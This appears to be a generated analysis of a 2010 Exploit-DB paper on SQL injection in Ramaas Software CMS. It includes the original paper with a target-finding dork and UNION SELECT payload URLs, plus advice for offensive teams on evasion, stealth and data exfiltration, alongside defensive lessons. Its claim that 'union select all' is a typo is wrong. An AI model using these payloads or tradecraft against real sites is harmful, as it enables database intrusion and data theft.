Ramaas Software CMS SQL Injection: A Historical Exploit Analysis

What this paper is

This paper describes a SQL injection vulnerability found in the Ramaas Software CMS (Content Management System). The author, 41.w4r10r, demonstrates how to exploit this vulnerability by manipulating URL parameters to inject SQL commands. The goal of the exploit is to extract database information, specifically the database version and the current user, by using a UNION SELECT statement.

Simple technical breakdown

The core of this vulnerability lies in how the web application handles user input from URL parameters. When a user requests a specific item (like an agent, article, or news item) by its ID, the application likely uses this ID directly in a SQL query to fetch data from the database.

If the application doesn't properly sanitize or validate this ID before using it in the SQL query, an attacker can inject special characters (like the single quote ') to break out of the intended query and insert their own SQL commands.

The exploit uses a technique called UNION SELECT. This allows an attacker to combine the results of their malicious query with the results of the original, legitimate query. By carefully crafting the UNION SELECT statement, they can display information they shouldn't have access to, such as the database version and the username the web application is using to connect to the database.

Complete code and payload walkthrough

The provided "code" is not actual executable code in the traditional sense (like a Python script or C program). Instead, it consists of:

1. Exploited Links: These are examples of URLs that demonstrate the vulnerability. They show how a parameter is appended with a single quote (').
2. Demo Payloads: These are the actual crafted URLs that exploit the vulnerability. They use SQL injection techniques.

Let's break down the structure of the exploited URLs and the injected payloads:

General Structure of Exploited URLs:

• http://example.com/some_page.php?parameter=value'

  • http://example.com/: The base URL of the target website.
  • some_page.php: The vulnerable script on the server.
  • ?parameter=value: A GET parameter used to identify the requested resource (e.g., id, articleid).
  • ': The injected single quote. This character is crucial. It's used to terminate the original SQL string that the parameter value was likely part of. For example, if the original query was SELECT * FROM articles WHERE id = '243', adding ' would make it SELECT * FROM articles WHERE id = '243'', which would likely cause a syntax error or allow further injection.

Demo Payloads Explained:

The demo payloads are crafted GET requests that leverage the SQL injection vulnerability. They all follow a similar pattern:

http://example.com/page.php?parameter=-original_value+UNION+SELECT+all+1,2,3,version(),5,user(),7,8--

Let's dissect a representative example:

http://example.com/display_agents.php?id=-243+union+select+all+1,2,3,version(),5,user(),7,8--

• http://example.com/display_agents.php?id=: The base URL and the vulnerable parameter.
• -243: This is the original value, likely a numeric ID. The hyphen - is often used to ensure the original query still has a valid numeric context or to manipulate the query logic. In this case, it might be used to make the original query return no results, making the UNION SELECT results more prominent.
• +: Represents a space character in a URL.
• union: The SQL keyword to combine the result set of two or more SELECT statements.
• select: The SQL keyword to retrieve data from a database.
• all: This keyword is not standard SQL for UNION. It's likely a typo or a misunderstanding of SQL syntax by the author. Standard SQL uses UNION (which removes duplicates) or UNION ALL (which keeps duplicates). In this context, it's probably intended to be UNION ALL or simply UNION.
• 1,2,3,version(),5,user(),7,8: This is the core of the injected payload.
  • 1,2,3,5,7,8: These are literal integer values. They are used to fill in the columns that the original query would have returned. The number of columns in the UNION SELECT statement must match the number of columns in the original SELECT statement. The attacker is guessing the number of columns and providing placeholders.
  • version(): This is a SQL function that returns the version of the database server (e.g., MySQL, PostgreSQL). This is a common way to confirm a successful SQL injection and identify the database type.
  • user(): This is a SQL function that returns the current database user that the web application is connected as. This can reveal sensitive information about database privileges.
• --: This is a SQL comment. It tells the database to ignore any characters that follow it in the query. This is crucial for terminating the original SQL query and preventing syntax errors from the remaining parts of the original query that the attacker doesn't control.

Variations in Payloads:

The different demo links show slight variations in the number of columns being selected. This is because the attacker doesn't know the exact structure of the original query. They are trying different numbers of columns (1,2,3,version(),5,user(),7,8 has 8 columns; 1,2,3,version(),5,user(),7,8,9,10 has 10 columns) until one matches the number of columns in the original query. When the number of columns matches, the UNION SELECT will execute successfully, and the output of version() and user() will be displayed in place of some of the original query's columns.

Mapping list:

• ': Terminates the original SQL string, allowing injection.
• +: URL-encoded space, used to separate SQL keywords and values.
• union select: Combines results from the injected query with the original query.
• all: Likely a typo for UNION ALL or UNION.
• 1,2,3,5,7,8 (and similar numbers): Placeholder values to match the column count of the original query.
• version(): SQL function to retrieve database version.
• user(): SQL function to retrieve the database username.
• --: SQL comment, to ignore the rest of the original query.

Practical details for offensive operations teams

• Required Access Level: No elevated privileges are required on the target system itself. This is a network-level vulnerability exploitable via HTTP requests.
• Lab Preconditions:
  • A target environment running Ramaas Software CMS.
  • A local or remote machine capable of sending HTTP requests.
  • A web browser or a tool like curl, Burp Suite, or OWASP ZAP for crafting and sending requests.
  • Understanding of SQL syntax and common SQL injection techniques.
• Tooling Assumptions:
  • Standard web browsers.
  • HTTP request manipulation tools (e.g., curl, Burp Suite, OWASP ZAP).
  • Automated SQL injection tools (e.g., sqlmap) could be used to automate the discovery and exploitation of this type of vulnerability, especially for discovering the correct number of columns.
• Execution Pitfalls:
  • Column Mismatch: The most common failure point. If the number of columns in the UNION SELECT statement does not match the number of columns in the original query, the query will fail with a SQL syntax error. The attacker must iterate through different column counts.
  • Database Type Differences: version() and user() are common functions, but their exact names or availability might vary slightly between different database systems (e.g., MySQL, PostgreSQL, SQL Server). The exploit assumes a common SQL dialect.
  • WAF/IDS Evasion: Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) might detect the ', UNION, SELECT, version(), or user() keywords. Evasion techniques (like using different character encodings, alternative syntax, or obfuscation) might be necessary.
  • Error Handling: If the web application has very strict error handling and doesn't display database errors to the user, it can be harder to confirm a successful injection. Blind SQL injection techniques would be needed in such cases.
  • URL Encoding: Spaces ( ) in URLs are often represented by + or %20. The exploit uses +, which is common.
• Tradecraft Considerations:
  • Reconnaissance: Use the provided "Dork" (intext:"Powered by Ramaas Software") to identify potential targets.
  • Enumeration: Start by simply appending a single quote (') to the ID parameters to observe error messages. This can confirm the vulnerability and sometimes reveal the database type or query structure.
  • Payload Crafting: Manually craft UNION SELECT statements, starting with a small number of columns and increasing it. Use version() and user() to confirm.
  • Data Exfiltration: Once version() and user() are confirmed, the attacker would proceed to extract table names, column names, and then sensitive data using more complex UNION SELECT statements or other SQL injection techniques.
  • Stealth: Avoid overly aggressive scanning. Use delays between requests. If automated tools are used, configure them for stealth.

Where this was used and when

• Usage Context: This vulnerability was found in the Ramaas Software CMS, a web application framework. It affects pages that display content based on an ID parameter, such as display_agents.php, view.php, view_businessnews.php, view_article.php, and article.php.
• Approximate Years/Dates: The paper was published on April 27, 2010. Therefore, this vulnerability was actively discussed and likely exploited around 2010. It's a classic example of SQL injection vulnerabilities prevalent in web applications of that era.

Defensive lessons for modern teams

• Input Validation and Sanitization: This is the cornerstone of preventing SQL injection.
  • Parameterized Queries/Prepared Statements: Always use parameterized queries (prepared statements) provided by the database API. This separates SQL code from user-supplied data, ensuring that user input is treated as data, not executable code.
  • Input Validation: Validate user input against expected formats (e.g., ensure an ID is purely numeric).
  • Escaping: If parameterized queries are not feasible (though they almost always are), meticulously escape special characters in user input before incorporating it into SQL queries.
• Principle of Least Privilege: The web application should connect to the database using an account with the minimum necessary privileges. This limits the damage an attacker can do even if they successfully inject commands. For example, the application user should not have privileges to drop tables or access sensitive system tables if it doesn't need to.
• Web Application Firewalls (WAFs): While not a silver bullet, WAFs can provide a layer of defense by detecting and blocking common SQL injection patterns. However, they can be bypassed.
• Regular Security Audits and Patching: Regularly audit code for vulnerabilities and keep CMS and all associated libraries/frameworks updated to patch known security flaws.
• Secure Coding Practices Training: Ensure developers are trained on secure coding practices, including the dangers of SQL injection and how to prevent it.
• Error Handling: Configure error handling to avoid revealing detailed database error messages to end-users, as these can provide valuable information to attackers. Log errors securely on the server.

ASCII visual (if applicable)

This vulnerability is primarily about how data flows from the user's browser to the web server and then to the database.

+-----------------+      +-----------------+      +-----------------+
| User's Browser  |----->| Web Server      |----->| Database Server |
| (Crafted URL)   |      | (Vulnerable App)|      | (Ramaas CMS)    |
+-----------------+      +-----------------+      +-----------------+
        |                      |
        | Sends HTTP Request   | Executes SQL Query
        | (e.g., GET /page.php?id=123')|
        |                      |
        |                      +-----------------+
        |                      | Malicious SQL   |
        |                      | (e.g., UNION SELECT...) |
        +----------------------|                 |
                               +-----------------+

Explanation:

1. The user's browser sends an HTTP request with a crafted URL containing a single quote (') and a UNION SELECT statement.
2. The Web Server receives the request and passes the id parameter to the vulnerable Ramaas CMS application.
3. The application, without proper sanitization, constructs a SQL query that includes the malicious input.
4. The Database Server receives the malformed SQL query. If the injection is successful, it executes the attacker's injected SQL commands alongside or instead of the intended query.
5. The Database Server returns results, which may include sensitive information like version() and user(), back to the Web Server.
6. The Web Server then displays this information to the user in the browser.

Source references

• Exploit Title: Ramaas Software CMS SQL Injection Vulnerability
• Author: 41.w4r10r
• Published: 2010-04-27
• Paper URL: https://www.exploit-db.com/papers/12412
• Keywords: PHP, webapps

Original Exploit-DB Content (Verbatim)

# Exploit Title: Ramaas Software CMS SQL Injection Vulnerability
# Version: Web Application
# Tested on: Apcahe/Unix
# Dork : intext:"Powered by Ramaas Software"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################


This Is The CMS Created by The Leading WebDevelopment Company ramaas.com For
There Clients and all have same

vulnerability.....

Exploited Link :

1) http://example.com/display_agents.php?id=243'

2) http://example.com/view.php?articleid=14567'

3) http://example.com/view_businessnews.php?articleid=7'

4) http://example.com/view_article.php?articleid=12242'

5) http://example.com/article.php?articleid=111'


Demo :

1)
http://example.com/display_agents.php?id=-243+union+select+all+1,2,3,version(),5,user(),7,8--

2)
http://example.com/view.php?articleid=-14567+union+select+all+1,2,3,version(),5,user(),7,8,9,10--

3)
http://example.com/view_businessnews.php?articleid=-7+union+select+all+1,2,3,version(),user(),6,7,8,9--

4)
http://example.com/view_article.php?articleid=-12242+union+select+all+1,2,3,version(),user(),6,7,8,9--

5)
http://example.com/article.php?articleid=-111+union+select+all+1,2,3,version(),5,user(),7,8,9,10,11--



#41.w4r10r mailto:41.w4r10r@andhrahackers.com